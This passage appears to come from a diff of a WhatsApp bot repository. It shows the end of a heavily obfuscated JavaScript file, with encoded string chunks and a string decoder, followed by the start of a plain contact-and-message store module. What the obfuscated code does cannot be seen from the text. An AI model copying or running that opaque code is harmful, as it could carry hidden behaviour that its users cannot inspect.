林川){雪星月+='\u0077\u0054\u0056\u0054\u0030\u0071\u006f\u0041\u004b\u0069\u0065\u0067\u005a\u006a\u0073\u0073\u0051\u0033\u0068\u0049\u0050\u0064\u0043\u0039\u0069\u0042\u0058\u0062\u0036\u0053\u0072\u0035\u0055\u0039\u006e\u0055\u0042\u0062\u0037\u0070\u0044\u0050\u0053\u005a\u007a\u0061\u0051\u0034\u0050\u0079\u0057\u0052\u0050\u004c\u004b\u0039\u0051\u0053\u0059\u004c\u0069\u0078\u0047\u0045\u0041\u0072\u0056\u0075\u0049\u006d\u0069\u006b\u0078\u0076\u0043\u0045\u0076\u0050\u0034\u006e\u0053\u0068\u0067\u004e\u0051\u0030\u0073\u004a\u0055\u0037\u0045\u0036\u0037\u0045\u004c\u0076\u006d\u0050\u0032\u004d\u0052\u0067\u0045\u0065\u0062\u006f\u0044\u0056\u0036\u0055\u0035\u0065\u0050\u0048\u0041\u0072\u0049\u0054\u0036\u0050\u0051\u0057\u004e\u0062\u004e\u0077\u0036\u0038\u006a\u0053\u0044\u0039\u0044\u0059\u006a\u006a\u0038\u0071\u0034\u0067\u0061\u0054\u0075\u0063\u0071\u004f\u0058\u004c\u0074\u0077\u0050\u0053\u0034\u004d\u0066\u0034\u0039\u004a\u0059\u0036\u0031\u0067\u0061\u0042\u0056\u0072\u0058\u0067\u0049\u004c\u004e\u0053\u006c\u0035\u0062\u0066\u0063\u0030\u0056\u0033\u0057\u0044\u0054\u0055\u0050\u0068\u0041\u0064\u0072\u0051\u006f\u0041\u005a\u0035\u0055\u004c\u006c\u0079\u0071\u0069\u004a\u0034\u0057\u006a\u006c\u0079\u0044\u004f\u004f\u004b\u0049\u0045\u0053\u006b\u006f\u0069\u0037\u0057\u0052\u0034\u0074\u0074\u0047\u0042\u0046\u006f\u0065\u0046\u0043\u006a\u005a\u0035\u004e\u0031\u0065\u0059\u0056\u0063\u0072\u004e\u0054\u0073\u0054\u0055\u0067\u004f\u004f\u0078\u0032\u004c\u0066\u0037\u0044\u0070\u0064\u004a\u006a\u0050\u0077\u0042\u006c\u0036\u0038\u0030\u0056\u0079\u0068\u0069\u006d\u0062\u0045\u0049\u0059\u004a\u006c\u006d\u0052\u0036\u004b\u0056\u0048\u0051\u0067\u006c\u0073\u0046\u0038\u0054\u0068\u006b\u0053\u006e\u0068\u0036\u006b\u0073\u0079\u0078\u0047\u0074\u0056\u0046\u0066\u0066\u006c\u006a\u0071\u005a\u0054\u004b\u0037\u0078\u0072\u0066\u0035\u0052\u0065\u0033\u0041\u0067\u0058\u0036\u0072\u004e\u0061\u0054\u006d\u0056\u006e\u0047\u0066\u0079\u0049\u0061\u0045\u0059\u0055\u0064\u006e\u0048\u0074\u0078\u0051\u0061\u005a\u0072\u0078\u0076\u0062\u0039\u0054\u0032\u0055\u0036\u0073\u006b\u0059\u0052\u004f\u004d\u0047\u0050\u0049\u0064\u0052\u0037\u0039\u006f\u0069\u0075\u006d\u0039\u0035\u0071\u0055\u0049\u006e\u0045\u0036\u0065\u0041\u0042\u0077\u0049\u0044\u0071\u0076\u0054\u006d\u0055\u0056\u0071\u006e\u0068\u006a\u0063\u0047\u0068\u0059\u0053\u0062\u0054\u0079\u0059\u0069\u004d\u0054\u0034\u0072\u0057\u0065\u0068\u0069\u0032\u0030\u004d\u004d\u006e\u0041\u0032\u004c\u004f\u0052\u0033\u0036\u0044\u0035\u0061\u0043\u0064\u0045\u0075\u0051\u0076\u004d\u0055\u0067\u004a\u0074\u0030\u0077\u006f\u0041\u0041\u0079\u006d\u0064\u0046\u0036\u0045\u0074\u0062\u004c\u0063\u0033\u0034\u0054\u006b\u0056\u0075\u004c\u004c\u0036\u0041\u0041\u0056\u0063\u004b\u0031\u0033\u0067\u0058\u0031\u0047\u0057\u0036\u006f\u004e\u004a\u006d\u004d\u004a\u0077\u006e\u0033\u006b\u0043\u0036\u0075\u004a\u0070\u0035\u0075\u0061\u0068\u0045\u0050\u005a\u0034\u0062\u0058\u0079\u006c\u0075\u0050\u007a\u004f\u0053\u0076\u004f\u006e\u0070\u0046\u0055\u0050\u0076\u0053\u005a\u0036\u0075\u0052\u0038\u0037\u0042\u0053\u006d\u0045\u006d\u006a\u0036\u004d\u004d\u004c\u0068\u0039\u0035\u0030\u0064\u0045\u0038\u0068\u0042\u0036\u006c\u0042\u0059\u0065\u005a\u0044\u0070\u0056\u0057\u0058\u0051\u004e\u0074\u0055\u0067\u006c\u006c\u0032\u004b\u0031\u0034\u0064\u0068\u006f\u0076\u005a\u0056\u0037\u0043\u0042\u0054\u0061'}if('\u0052\u0078\u007a\u0052\u0069\u0035\u0070\u004e\u0054\u0041'in 林川){雪星月+='\u0059\u0045\u007c\u0044\u0069\u0049\u0041\u0077\u002fŞ\u005b\u0079̾˲\u005e\u002b\u004c\u006a\u0056\u0078\u002fʌ\u003b\u0025\u006e\u006b\u0063\u0040\u0066\u0040\u003c\u0054\u003e\u004c\u0030\u0043\u0060\u004d\u0079\u0067ʵ\u0030Œ\u0060\u002f\u0024\u0042\u002c\u0047\u0031\u0069ɴ\u0052\u0060\u0059ƀ\u0022\u004a\u004a\u0022\u0044\u0032\u002cͧͩ\u002f\u0035\u0049ͮ\u005f\u0032\u0051\u0021\u0079\u007c\u0066\u007e\u005d\u0070\u0050\u0056̀\u0036\u007e˽˿Ŏ\u006a\u0051\u0029\u005a\u0069\u0041\u0072\u006a\u0059\u0057\u0046\u0039\u0048ʧ\u0079\u0052\u002b\u0022\u0051\u0030\u002f\u0048\u0068\u0042\u0057ʵ\u0038\u004c\u0037\u0046\u0068\u002e\u0041ǚ\u005b\u0038\u0075\u0026\u004c\u0064\u0030\u005b\u0068\u0039\u0052\u0051ͦ\u0053\u006c\u0051\u0068ę\u006c\u0041\u007c\u0079\u003b\u007b\u006b\u006d\u0037͛\u002e\u0054\u0072\u005fͦ\u007d\u004a\u005a\u0024\u004dͼ\u007c\u003a\u0038\u0023\u0022Ȥ\u0072\u005bĄ\u0021\u0023\u005b\u006b\u0049\u0037\u0036ϋ\u0040\u003d\u0023\u0068\u005e\u002f\u007a\u0054ͮ\u0021\u007cϙ\u0043\u0022\u0048\u0064\u0058Ϧ\u007c\u0037\u004fʼnΎ\u0033\u0022Ũ\u0036\u0033ƀ\u007e\u0072\u0069\u0054\u002a\u0067\u0048\u006b\u0070\u0073\u0064;\u0068ͪΩš\u002f\u0033\u0071\u003a\u0059\u0038đΗ\u005a\u007b\u0058\u0067\u006a\u005f\u0072\u006e\u0053\u0030ŭ\u007c\u0023\u005fŒŜʡə\u0029\u0032\u006f\u003a\u0049\u0060\u003aƀ\u004a\u0070\u0044\u0023\u0055\u004aŞ̼\u002fǚ\u002c\u0056˽\u006a\u007b\u0030Ŏ\u0064\u0057\u0071ˆě\u0060\u0077\u0054а\u0042\u002e̦\u0038\u0049\u0026\u005f\u0054\u003f\u0023\u0028\u005f\u005b\u0023\u004a\u004f\u003e\u004a\u0034\u0072\u0042\u0043\u0041ƞ\u004a\u0064\u0047\u0070\u002c\u0058Ş\u0034\u0040\u0055\u0023\u003fѐ\u0042\u005f\u0061\u004b\u0063\u0062\u0045\u0045\u0023\u003d\u0076̈́\u002e\u0049\u006d\u0047\u005d\u004cĽ\u0056\u0079\u0022\u002eĮ\u005e\u007b\u0050\u0049͝\u004eȟ\u0049\u0064Œˇ\u004b\u006a\u0069\u0064\u0079\u0031\u0021ϫ\u0030\u0051\u0065\u006cȴ\u0045\u0037\u0029\u003b\u0050̸\u0053\u0072\u0055Ȍ\u0063\u006b\u0054\u0038\u0029\u006c\u007d\u0049\u007a\u0053̪\u005b\u0043\u0068\u004f\u004c\u002b\u002a\u0073Ϻ\u0056\u003b\u0068\u002c\u0021͢\u002b\u006b·ҧ\u0025ͨ\u0031\u003f\u0058\u0064\u0052\u006d\u005e\u0043\u0031\u003a\u0078\u0049\u007e\u0028\u0068\u0049\u0040Ɇ\u0046\u0022\u004f\u0028˘\u0030Ȋ\u0061\u0039\u007dĎ\u0060Ж\u0030\u0075\u005aɜŞ\u003d\u0057\u005dɨ\u0025\u0065\u0074\u0062\u0051\u0046\u0078\u0028\u002b\u0030\u0044\u0046\u0024\u003d\u0046Х\u003f\u0074\u0053\u0061\u0079\u0030˔ʑ\u0048\u0050\u0026\u0049ӹ\u0051\u0071\u005dԝ\u0049ƀ\u005d\u0032\u0026\u0065\u0054\u0026\u0072\u002f\u002f\u005fɎ\u0057\u0075\u0064\u0071\u003e\u0072\u003e\u0050˖Ѫ\u0065\u005f\u0042\u003b\u0033\u0025\u0064\u0050\u0031\u005a\u0026άЫ\u0022\u0054ǵ\u0062\u007eѵ\u0060\u0061\u0069\u0074\u0055\u0057\u006f\u0048\u005e\u0038\u003b\u0074\u0040\u0069Ɇǿ\u0047\u0065\u0061ϗ\u0026\u007e\u0037\u0037\u0032\u0060\u0039\u0047\u004eē\u006d\u002b\u003f\u0021\u006c\u0039\u0055\u0037\u0060\u007e\u0057\u0051\u005d\u004e\u002a\u007e\u005b\u0046\u004a\u0052Ş'}if('\u0048\u004a\u0078\u0074'in 林川){雪星月+='ѣ\u0060\u0066\u0071\u0074\u0076\u0025\u007e\u0055Ϯ\u0074\u0079\u0058\u0045\u004c\u0053\u0024\u0023\u0029\u0053Ş\u0061\u0037Ҭ\u0054\u0058\u0044\u0049\u006b\u007d\u007a\u0062\u004d\u004f\u0048\u0073\u003e\u0063ӭ\u007c\u0054\u003c\u0038\u0058\u0046\u0044\u0062\u0023\u0062\u004e\u0035\u0072\u0078\u0065\u0035\u0076Ǭ\u0075\u0023\u006aȢ\u0064\u006d\u004c\u0079\u006a\u0038\u0063\u003d\u0074ȉϗ\u0070\u007a\u002b\u007d\u0034Ό\u0075\u0031\u0075ȗʒ\u0034\u003a\u0044Ş\u0035\u0077\u002e\u006a\u005bѶ\u007c̿Ƅ\u0070Ă\u0053\u0075\u0057\u0063\u0067\u0040\u0045\u005b\u003a\u005b\u0066\u0037\u0069\u0055ː\u005d\u005f\u0037\u0051\u002a\u0056\u0043\u003e\u0031\u0045υ\u0049\u0066\u0058̹\u0039\u0051ɴ\u0060Ɇ\u0055\u0063Ұ\u0067\u0078Ҭʧ\u0031\u0053ȸ\u0029\u0072\u006f\u0023շ\u0039\u0066\u004d\u0039ѥ\u0070Ş\u0054ҫ\u0034\u0079\u0048\u0049\u0053\u005d\u003c\u0036\u0029\u0025\u002e\u004a\u0060\u0069\u0069\u002a\u0021\u0062\u0025զ\u003e\u0079\u002c\u0030\u004d\u0045ňʨ\u0031\u006f\u006a\u004d\u007b\u0022\u0047\u002c͢Ә\u006d\u007b\u0060\u004b\u0060\u0025\u0070ة\u004a\u0071\u0052\u004cЊŞ\u003a\u003c\u005aƜ\u0042\u0046Ə\u0072\u0067\u0050\u0033\u006b\u006b˲\u0050ַ\u0063\u003e\u0055\u002eȟ\u006c\u0072\u0065\u002b\u0058\u0021ѭ\u004c\u0031\u003b͇\u0067\u0066\u0076\u0053ԋ٩\u0067\u0024\u006aψ\u003c\u0033\u005e\u0078\u007e\u0074\u004cǯ\u0075\u003a\u0021\u0064\u0074\u0030\u0022\u0076ş\u0057\u0044ȓ\u0066\u0057\u0042\u003a\u004e\u005d\u0046\u0043\u002e\u0063\u006a\u002a\u0030\u0040\u006f\u003b\u0061̳\u007c\u0030\u0070\u006f\u002a\u0035Н\u0042\u0077\u007e\u006b\u0075\u0054\u0076֊͉Ģ\u0038\u0060\u0028\u0048Ű\u0076\u0030\u0073\u0038\u0034\u0073\u002b\u0070\u0051\u0070\u0053\u002f\u0032\u006a\u003cԬć\u003e\u003e׃\u0025\u0037\u0039\u0058\u002a\u0072\u0056\u0048\u0065\u004c\u0041\u003c\u0060\u0075ɑ\u0069\u0037\u0023\u0058\u0071ǡ\u007c\u0077\u0057\u0079\u0034ϊ\u007a\u006aɆӰ\u0046Ǣ\u0054\u0044\u0072\u007e\u004e\u0048\u0045\u0021\u0067\u0030\u005e\u0077\u006c\u0068\u0033\u0030\u004f\u0073\u002e\u0072\u0035\u0079\u002f\u004fʌ\u005d԰\u005aԧ\u0062\u0034\u002a\u0057\u0056\u005f\u0022\u004d\u0060̰\u0057\u002c\u0068\u0021ƥ\u0049\u007d\u0047\u0061\u0034\u0064\u005f\u0078\u0030\u0062\u0068\u007bȴ\u004b\u0022Ų\u0077\u0065ҡ׾\u006aӄ\u006d\u0066\u0073\u005dӫ\u005aӏ\u005a\u0044ױ\u005b\u0042\u0055\u007e\u0036\u0071\u0076\u0046\u002c\u004a\u006dՕ\u002aʌ\u0057˼ț\u002aҬ\u0048\u0047\u006c\u0032\u0025\u0044\u004c\u0076\u006b\u0064Ǻ\u0025\u0048͓۬ə\u006b\u0044\u003f\u0071\u004e\u0064\u006fס\u0021\u0074Ȣ\u005fȢİ\u007c\u0070\u0057\u0060\u004c\u005d\u0052\u0024Ĵ\u0079\u0047\u007a\u0064\u002b԰ڑ\u007c\u0042\u006c\u0054\u007b\u0056ܞ\u0048ʌ\u004f\u0070̯\u004c\u0048\u0066\u0034\u0067\u003c͆\u0030\u0028\u0045\u0074\u0051\u0060\u003c\u0058ɜ\u0047\u0046ʌ\u0039ڡ\u005a\u0036\u004d\u0075\u0073Ӽׇ֜\u0052\u0030\u0055\u0022\u002a\u005a\u0065\u003c\u0068\u0023\u003a\u0022\u0060\u0058\u003a\u0051\u0052\u002c\u0033\u006cƀ\u004e̯\u0049\u0036ܺ\u003c\u0061\u0043'}if('\x71\x43\x6c\x59\x77\x36\x4b\x65\x41'in 林川){雪星月+='\u0065\u0065ފ۞Ĵ\u0054\u0062\u0058\u0031\u0073\u006d\u0022\u0034\u0070҃\u0073̷\u0033\u0049\u0023\u0048\u0042\u003d\u0053Ǥ\u0040\u0062\u004b\u0076ŦƦ߀\u003f\u007a\u006f\u0039\u0031\u0034\u0042\u007e\u0024ѿ\u004f\u0059\u0073\u0054\u005a\u004e\u0075٧٬\u0057\u0047ڤ\u0051ҒĦ\u007eч֐ӯ\u004a\u0047Н\u0035\u0075˾\u0030\u0067\u004dώ\u0042\u0062\u0064\u003c\u003b\u0049\u0032\u0076О\u0068\u0045ƀ\u0024\u0024\u0040\u0058\u0028\u0025\u005d\u002e\u005e\u0037\u004d\u0055\u0031\u0044\u003a\u0045\u0022\u003c\u0072\u0058ރ\u0040\u0071\u004c\u0072\u0054͢Ʌ\u004e҅Ɖ\u0022\u0021\u0040ƀ\u0021چ\u0042\u007a\u0067\u0039̂\u004eĆ\u0071إ\u0074Ւ\u0040\u0065\u0025\u0049\u0068\u0073\u003c\u0051\u0041\u0053\u0074\u0078\u0031փ\u0046\u0059\u002aˇ\u0079̈́\u0055\u0035\u007c\u006f\u0070ʸ\u005f\u0030\u0023࠾\u0070\u003c\u007d\u002f\u0075\u002eز\u0067\u003d\u0069\u0079\u0064\u006a\u006a\u0031\u0022̀\u0054אɶ\u007d\u0039\u003e\u004e\u0036\u0023\u0042Ԁ\u0075\u004dШ\u0034\u0047\u0053\u004d\u0034\u0076\u0043\u006f\u007dӁ\u002a\u0038Ҁ\u007c\u004a\u0046\u0041\u0068ͺ\u004f\u003cۑӍ׵\u0035\u0045ޢLj\u0064\u0053\u005fŎȧ\u004d\u0023\u004b\u002b\u0071\u0034Λإ\u0064\u007a\u005a\u005e\u0040\u005a\u0039\u0065\u002c\u007b\u002e\u0025Ξϴ࠼\u0023\u0023\u0025\u0079\u004f\u002bŅ\u0079\u0056\u0032\u0023\u0049\u0052\u0039\u005d\u0053\u0055ӆѣ\u0026\u002cҼ\u0054\u004c˭\u0046؋ϼ\u002aƏ\u003a\u0030\u004c\u0024\u0033\u0050\u005e\u003e\u004d\u0064\u004e\u0051\u007cȜ\u0052\u0041ت\u005e\u0049Ү\u0042\u0041ࢂǚڐ\u0022\u0042\u0069ӱђ\u0079ń\u004b\u0075\u0040\u0060Э\u004f\u0023ɂ\u005dݙںޅ\u0021\u0045ȃ\u0068\u0072ջ\u0072\u0076ܮ\u004c\u0061ࣟ܍ѢՈ\u0023\u006f\u0032\u0047\u0079\u006fʧ\u0056\u0070ڸ܊\u0073\u0039\u0077ࠛ\u0063\u005dժ\u0071\u0071\u0037\u0053\u0034\u006aNjŀ\u0037\u0077\u0059\u003b\u0069Ş߾\u0054\u0046֐\u0025\u0069\u0067\u0064\u005dࣂņܛȾ\u0056\u0071\u0039\u007a\u0070\u005e\u007c\u0033\u0069\u0042ࢫ\u0033\u0072˵\u0072\u0033\u0066\u0047ߧ\u0073\u0062ɰ\u0046ŴŞհʻ\u004c\u0025ž\u003f\u006b\u003e\u007eׂ\u004b\u0077\u0040\u0053\u0051\u006aھ\u0070\u0049\u006c\u0061\u0050\u002b४\u0045\u0071\u0070\u0064\u0041ʢƳࢊ\u007eԥ\u0073\u0025ƿ\u006d͝\u002bֱզ׫\u0059\u0041\u007d\u0021\u0025څӛ\u0028ǘ\u005bࢪ\u0046\u0033\u004a\u0036ࣥŎا\u0035\u0041\u003b\u002b\u0038߈\u007c\u0043\u0072Œ\u002c\u0049Şҗ\u003dֳ\u0078\u005e\u006aՆ\u003aܟٽ\u0063\u003c\u0070Ԙמ\u004aࡊࣞ\u0042\u0067ӥ\u0076\u003e\u006d\u0043\u004c\u0043\u0056\u0055\u0066϶\u0038\u0054\u0024\u006c\u0059\u006f\u0065\u0048\u0069ࡴƤć\u0039\u0076঩Ŏ\u003c\u0063\u006f\u0069\u002bߗЂǁ\u004c\u004f\u0030\u0033\u004e޵\u0034ҹ\u004f\u002c\u0074\u0032\u0063ܾͷī߫Ӿ\u0068Ŏ\u003a࢛\u0041Ŝ١\u005f\u007e\u003c\u002e\u003a\u0039\u0049͡φܽƍ࢟\u007dʙ'}if('\u0036\u0042\u005a\u007a\u006b\u0078\u0058'in 林川){雪星月+='\u006e\u0068\u006e\u0042\u0059\u0045\u0039\u005a\u0065\u0035\u0030\u0076\u0052\u0077\u0065\u004c\u0067\u0075\u006c\u0070\u0034\u0058\u0034\u0061\u0079\u0064\u007a\u0051\u0079\u0038\u0061\u0051\u005a\u004a\u0076\u0068\u0044\u0065\u0062\u004f\u0038\u0074\u0079\u0072\u005a\u0068\u0041\u0065\u0057\u0065\u004b\u0061\u0037\u004e\u0042\u0031\u0069\u0075\u0070\u006b\u0070\u0058\u004e\u004f\u004c\u0049\u0075\u004d\u0067\u0042\u0075\u0043\u005a\u0048\u006b\u0059\u0078\u0051\u0051\u0078\u0064\u0059\u0071\u005a\u0050\u0031\u0073\u0079\u0043\u0043\u0065\u0034\u006c\u0043\u007a\u0058\u0078\u006e\u006e\u0062\u0041\u0048\u005a\u0030\u0051\u0035\u0065\u0074\u0079\u0079\u0076\u006d\u0051\u0071\u006c\u0042\u0044\u0047\u0064\u0068\u0041\u0042\u0070\u0074\u0033\u0079\u0052\u0032\u0041\u0030\u0057\u0056\u0078\u0051\u0073\u0052\u0070\u0051\u0067\u0036\u0045\u0069\u0031\u0069\u0078\u0069\u0066\u004b\u0031\u0031\u0043\u0053\u0054\u0041\u0067\u0073\u0057\u0052\u0079\u0050\u0059\u0065\u0046\u004a\u0035\u0079\u0076\u0048\u006f\u004d\u007a\u0043\u0030\u0070\u0034\u0072\u0073\u004d\u0058\u006d\u0032\u0053\u004c\u0042\u0041\u006e\u0059\u006a\u0032\u0079\u004b\u0062\u004a\u0079\u0063\u006c\u0057\u0036\u006c\u0053\u0038\u004d\u0067\u0054\u0042\u004b\u0045\u0071\u0071\u0078\u0048\u0035\u0070\u0063\u0035\u004b\u004b\u0047\u0062\u0066\u0059\u0059\u006a\u0033\u0073\u0059\u0065\u0056\u006c\u006f\u0074\u006f\u0079\u0056\u0068\u0078\u0043\u006f\u0075\u0050\u0048\u006f\u0041\u0059\u0047\u0052\u0069\u0067\u0053\u0046\u0055\u0045\u0032\u0045\u0074\u0036\u005a\u006f\u0075\u0074\u0034\u0079\u006b\u0076\u0076\u0055\u0059\u006f\u0074\u0036\u0032\u0061\u0051\u0035\u005a\u006f\u0068\u0051\u0052\u0051\u0062\u0041\u0057\u0051\u0062\u006c\u0073\u0075\u004c\u0065\u0079\u006f\u0073\u0047\u0034\u004e\u0030\u0068\u006e\u0055\u0030\u0079\u0049\u0070\u004d\u0033\u0077\u0046\u0036\u0031\u0065\u0039\u0065\u0035\u0031\u0044\u0055\u0035\u0063\u007a\u004b\u0053\u0033\u0053\u004e\u0039\u0054\u0039\u0054\u005a\u0072\u0047\u0048\u0045\u0068\u0031\u0079\u0051\u0046\u0039\u0050\u0039\u0057\u0077\u004b\u006a\u0072\u0037\u0070\u0077\u0038\u004b\u0074\u0057\u0062\u0066\u0050\u0034\u006d\u0054\u007a\u0058\u0065\u0079\u0054\u0063\u0078\u004b\u0039\u0058\u0035\u007a\u0041\u0045\u0072\u0076\u0056\u0052\u0048\u0044\u0045\u0057\u0054\u0055\u0032\u0049\u004b\u0047\u0071\u0065\u0074\u0036\u0043\u004a\u007a\u004a\u004f\u004f\u0065\u0070\u0056\u005a\u0035\u0058\u0050\u0064\u004c\u0049\u0033\u006f\u0055\u0054\u0078\u0053\u004d\u0079\u0059\u004c\u0034\u0051\u0049\u005a\u0050\u004e\u0046\u0039\u0047\u0054\u004d\u0068\u0056\u0079\u004c\u0068\u0031\u006c\u0078\u0041\u0068\u0059\u0045\u0079\u0074\u006c\u006a\u0032\u0033\u0053\u0049\u0035\u0078\u0051\u0057\u0043\u006f\u0070\u0035\u0049\u0077\u0065\u0058\u004a\u0034\u004b\u004c\u0056\u005a\u0059\u0054\u0038\u004b\u0062\u0061\u004c\u006a\u006b\u0070\u0059\u0041\u0062\u0067\u0046\u0071\u0048\u0057\u0055\u0048\u0073\u004a\u0053\u0047\u0075\u0039\u0050\u0073\u0033\u006e\u0048\u004b\u005a\u0039\u0058\u0064\u0030\u0046\u0066\u006c\u006f\u0034\u0079\u0063\u006b\u0059\u0036\u006b\u0030\u0057\u0070\u0041\u0036\u0056\u0061\u006c\u0030\u006e\u0041\u0067\u0042\u0047\u0059\u0058\u0071\u0069\u0068\u0035\u006b\u004c\u0038\u0061\u004b\u0073\u0052\u0054\u0074\u0041\u0041\u0035\u0033\u0049\u007a\u0059\u0048\u0046\u006f\u0047\u0079\u0054\u0074\u0065\u004e\u0079\u0051\u0032\u006c\u0064\u006b\u0030\u004e\u0046\u0069\u004a\u0071\u0066\u0049\u0056'}if('\x37\x4f\x41\x4f\x41\x41\x43\x72\x44\x4e\x4d'in 林川){雪星月+='\x26ڕ\x73ǩ\x66\x70\x5f\x5f\x33ȋ\x32\x30ʂʧǿॢ\x36\x48ރ\x38݊\x50߳̔\x26\x6c\x3aࡎ\x26\x7d\x5dڶ\x54\x37ɢ\x60\x2e\x76\x67\x75\x59ަ\x73\x23ȴ\x6b\x24\x2e\x75\x43ॻݝ\x79\x6d\x6dƀۍ\x6a\x4aŴ\x60\x60\x78Ж\x65\x6a\x28\x6c\x75ȜӸۜӯα\x50ڟ\x67Ѻ\x41\x44ĉɆˇ\x72ٝ\x74\x4b\x4e֙Į\x67\x51\x6f\x49\x76\x48\x23\x26\x43ݕ\x42\x65\x31\x57ࡦ\x22\x23\x39Ҹ\x34ч\x3f\x51\x44\x75\x34\x38\x55\x4eɆڻ\x78\x69\x5aƃ\x6b\x4a\x43\x3a\x31১\x5eڈ\x6e\x7eӦԧ\x29\x71ۑɔף\x4f\x77؇\x52\x45ή\x4d\x37\x31\x2b\x4e\x4dŞ\x69\x30\x26\x56\x3f\x6f\x4f\x6bέ\x3e\x3c߽Ǫ\x5aށӎ\x7c\x2c\x64Ȝ\x4d\x7e\x21৴\x51\x4b\x56\x59\x3e\x5fւ\x56\x2c\x50٨Ɨऴ\x2e\x67\x32Ȟ\x73হઍ\x58\x38\x65\x34תҔ\x35\x64\x56\x66\x69\x78Şࣔ\x5d\x6a\x3dρ\x42Ԓ\x40ੀ\x45ƅ\x46\x56੏\x48\x2b\x79Ӂ߱\x58\x7aˤ\x50\x3dѷ\x56׉\x34\x44\x4eݺ\x54ٯ\x45\x79\x63\x63\x71\x63\x5a\x66Ύࠐέɺ\x50\x3a\x6a\x6d\x67\x42\x49\x79\x7e\x7e˲\x57˽\x45\x49\x77৾\x4cу\x39ࢃ\x44\x33\x24ѩޙ\x4cߩ\x59ʘ਽\x7cܯӷ\x47\x62͒\x6dװĊժ\x23࢕\x6b\x68Ұਜ਼ՠօਲ਼\x30\x36Ǹ\x53\x41\x36ࡎؒƀ\x76\x72ছࠅ\x3d\x60\x43ɩ\x67\x73\x21\x68\x6aք\x63\x42\x51\x38\x35ঘ֯\x34\x58\x4fਪ\x32\x40\x43\x54Dž\x75\x24\x48\x4a\x41\x58ہч\x21\x58\x5f૤\x30\x7e\x4fࢍ\x3d\x38\x71\x3cʌ\x21\x57\x77ӈ\x48ݐۃ\x54ࢺ्\x7a\x24׫Dž\x2c\x42̯\x6e\x70\x52\x26Ҹ\x7c\x55\x64\x36\x50\x53\x3c\x28ǐ\x37\x4e\x59ڔ\x50\x71\x7d\x56\x75\x42\x40৳\x60\x34ڔ\x37\x76\x45\x50\x6a\x33\x68ڻ\x53\x43ō\x7c\x2f\x30\x7aĖࢭ\x54Ű\x5eӆ\x3a\x41\x45\x6c\x22\x63\x68\x75\x7b\x5d\x3bӆ\x6b\x40Ӡ૬\x60\x40\x21ї\x62Ɲ\x2b\x60\x65\x7a\x4e\x73\x73ĭ\x75\x6e\x64\x65ૌ\x6e\x65З٥\x74\x75Ы\x20\x74\x68\x69ӊ˾\x73\x68\x7cਂ\x70؎\x74\x6fਂ\x7cৎ\x6e\x73\x74\x72\x75\x63௤\x72\x7c\x6e\x61\x6d\x65Ɓ\x65\x6e\x67௙֥\x65\x78\x74\x44\x65ৎ௎௰\x55\x69\x6eȣΛ\x72ԓݷ\x75\x66\x66\x65௰ࡉЎ௸ʵ\x72ఉΈ\x66؎঵\x6f௎\x50৏ఆΉఙӄ\x61\x72ࢃ௎đఞĠఀఛ௵ఘ\x6fŎ௤఑అͦѓ\x2dТ\x61ށ\x6cΈ'}if('\x52\x72\x46\x45\x51\x56\x59\x44\x62\x46\x66\x37'in 林川){雪星月+='\u0071\u0034\u0061'}if('\x71\x43\x6c\x59\x77\x36\x4b\x65\x41'in 林川){雪星月+='Ⱥ\u006c\u006c'}return 雪星月}function 木水水(雪星月){return 林川[雪星月]}function 星泉���(雪星月){var 林川,風月海海,火風光,峰月={},日星金=雪星月.split(''),泉月=風月海海=日星金[0],泉日星水=[泉月],雲光=林川=256;for(雪星月=1;雪星月<日星金.length;雪星月++)火風光=日星金[雪星月].charCodeAt(0),火風光=雲光>火風光?日星金[雪星月]:峰月[火風光]?峰月[火風光]:風月海海+泉月,泉日星水.push(火風光),泉月=火風光.charAt(0),峰月[林川]=風月海海+泉月,林川++,風月海海=火風光;return 泉日星水.join('').split('\x7c')}
FEE-XMD-main/lib/MakeStore.js ADDED
@@ -0,0 +1,116 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ const MAX_CONTACTS = 4000;
2
+ const TRIM_TO = 2500;
3
+ const MAX_MSGS_PER_CHAT = 50;
4
+ const MAX_MAP_ENTRIES = 3000;
5
+
6
+ const makeStore = () => {
7
+ const contacts = {}
8
+ const chats = Object.create(null)
9
+ const messageMap = Object.create(null)
10
+
11
+ function trimContacts() {
12
+ const keys = Object.keys(contacts);
13
+ if (keys.length > MAX_CONTACTS) {
14
+ const excess = keys.slice(0, keys.length - TRIM_TO);
15
+ for (const k of excess) delete contacts[k];
16
+ }
17
+ }
18
+
19
+ function trimMessageMap() {
20
+ const keys = Object.keys(messageMap);
21
+ if (keys.length > MAX_MAP_ENTRIES) {
22
+ const excess = keys.slice(0, keys.length - Math.floor(MAX_MAP_ENTRIES * 0.6));
23
+ for (const k of excess) delete messageMap[k];
24
+ }
25
+ }
26
+
27
+ const bind = (ev) => {
28
+ ev.on('messaging-history.set', ({ contacts: newContacts, messages: newMessages }) => {
29
+ for (const contact of (newContacts || [])) {
30
+ contacts[contact.id] = { ...(contacts[contact.id] || {}), ...contact }
31
+ }
32
+ trimContacts();
33
+
34
+ if (Array.isArray(newMessages)) {
35
+ for (const m of newMessages) {
36
+ if (!m?.key?.remoteJid || !m?.key?.id) continue;
37
+ const jid = m.key.remoteJid;
38
+ if (!chats[jid]) chats[jid] = [];
39
+ chats[jid].push(m);
40
+ if (chats[jid].length > MAX_MSGS_PER_CHAT) {
41
+ chats[jid] = chats[jid].slice(-MAX_MSGS_PER_CHAT);
42
+ }
43
+ messageMap[m.key.id] = { normalizedJid: jid };
44
+ trimMessageMap();
45
+ }
46
+ }
47
+ })
48
+
49
+ ev.on('contacts.upsert', (newContacts) => {
50
+ for (const contact of newContacts) {
51
+ contacts[contact.id] = { ...(contacts[contact.id] || {}), ...contact }
52
+ }
53
+ trimContacts();
54
+ })
55
+
56
+ ev.on('contacts.update', (updates) => {
57
+ for (const update of updates) {
58
+ if (contacts[update.id]) {
59
+ Object.assign(contacts[update.id], update)
60
+ } else {
61
+ contacts[update.id] = update
62
+ }
63
+ }
64
+ })
65
+
66
+ ev.on('messages.upsert', ({ messages }) => {
67
+ for (const m of (messages || [])) {
68
+ if (!m?.key?.remoteJid || !m?.key?.id) continue;
69
+ const jid = m.key.remoteJid;
70
+ if (!chats[jid]) chats[jid] = [];
71
+ chats[jid].push(m);
72
